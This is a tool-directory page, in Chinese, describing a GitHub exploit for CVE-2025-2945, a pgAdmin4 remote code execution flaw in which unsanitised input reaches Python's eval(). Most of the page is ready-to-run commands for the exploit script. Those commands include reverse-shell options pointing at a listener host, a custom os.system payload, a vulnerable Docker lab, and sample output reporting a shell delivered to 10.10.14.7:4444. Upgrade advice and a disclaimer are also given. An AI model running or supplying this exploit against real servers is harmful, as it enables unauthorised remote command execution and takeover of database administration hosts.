Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-2945 — pgAdmin4 远程代码执行(RCE)漏洞(影响 8.10 至 9.1 版本)的利用程序 | Kitploit
工具/GitHubGitHub/g0d150ne/cve-2025-2945
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubg0d150ne/cve-2025-2945

CVE-2025-2945

pgAdmin4 远程代码执行(RCE)漏洞(影响 8.10 至 9.1 版本)的利用程序

查看仓库
429天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-2945 - pgAdmin4 认证后 RCE 漏洞利用

作者: G0D150NE 版本: 2.0.0
CVE: CVE-2025-2945
严重等级: 严重(CVSS 9.9)

📌 描述

针对影响版本 8.10 到 9.1 的 pgAdmin4 远程代码执行(RCE) 漏洞的漏洞利用。

该漏洞存在于 /sqleditor/query_tool/download 端点中,query_commited 参数未经清理便传入 Python 的 eval() 函数,从而允许任意代码执行。

⚡ 功能特性

  • ✅ 自动版本检测
  • ✅ 从多个来源获取 CSRF 令牌
  • ✅ 服务器/组 ID 枚举
  • ✅ 反向 Shell 载荷(base64 编码)
  • ✅ 自定义载荷支持
  • ✅ 详细调试模式
  • ✅ 彩色控制台输出
  • ✅ SSL 验证绕过

🚀 安装

root@kitploit:~
# Clone or download the script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945

# Install dependencies
pip install requests

🎯 使用方法

基本用法

root@kitploit:~
python3 poc.py \
  --target-url http://target:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444

启用详细输出

root@kitploit:~
python3 poc.py \
  --target-url http://target:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444 \
  -v

自定义载荷

root@kitploit:~
python3 poc.py \
  --target-url http://target:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444 \
  --custom-payload "__import__('os').system('whoami > /tmp/test.txt')"

跳过版本检查

root@kitploit:~
python3 poc.py \
  --target-url http://target:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444 \
  --skip-version-check

📊 参数

参数 必需 说明 --target-url 是 pgAdmin4 的基础 URL(http://RHOST:PORT/) --username 是 pgAdmin4 登录邮箱 --password 是 pgAdmin4 登录密码 --db-user 是 数据库用户名 --db-pass 是 数据库密码 --db-name 是 数据库名称 --Rhost 是 反向 Shell 监听器 IP --Rport 是 反向 Shell 监听器端口 --max-server-id 否 要扫描的最大服务器 ID(默认:10) --skip-version-check 否 跳过版本验证 --custom-payload 否 自定义 Python 载荷 --verbose, -v 否 启用调试输出 --no-banner 否 隐藏横幅

📋 要求

· Python 3.6+ · requests 库

root@kitploit:~
pip install requests

🧪 测试环境

root@kitploit:~
# Docker pgAdmin vulnerable version
docker run -d -p 5050:5050 \
  -e [email protected] \
  -e PGADMIN_DEFAULT_PASSWORD=admin123 \
  dpage/pgadmin4:8.10

# Then run the exploit
python3 poc.py \
  --target-url http://localhost:5050 \
  --username [email protected] \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444

🖥️ 示例输出

root@kitploit:~
   ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄ 
  ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ 
  ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌          
  ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌          
  ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░▌          
   ▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░▌          
            ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌          ▐░▌▐░▌          
   ▄▄▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ 
  ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
   ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀ 
   
   CVE-2025-2945 - pgAdmin4 Authenticated RCE
   Author: G0D150NE
   Version: 2.0.0

[*] Target running vulnerable version 8.10
[*] Authenticating as [email protected]...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444

🛡️ 缓解措施

· 将 pgAdmin4 升级到 9.2 或更高版本 · 限制对 pgAdmin 界面的访问 · 使用强凭据 · 如可用,请启用 MFA

⚠️ 免责声明

本工具仅用于授权的安全测试和教育目的。未经明确许可针对系统使用是违法的。作者对任何滥用行为不承担任何责任。

🔗 参考资料

· CVE-2025-2945 · pgAdmin 安全公告

📄 许可证

MIT 许可证

下载工具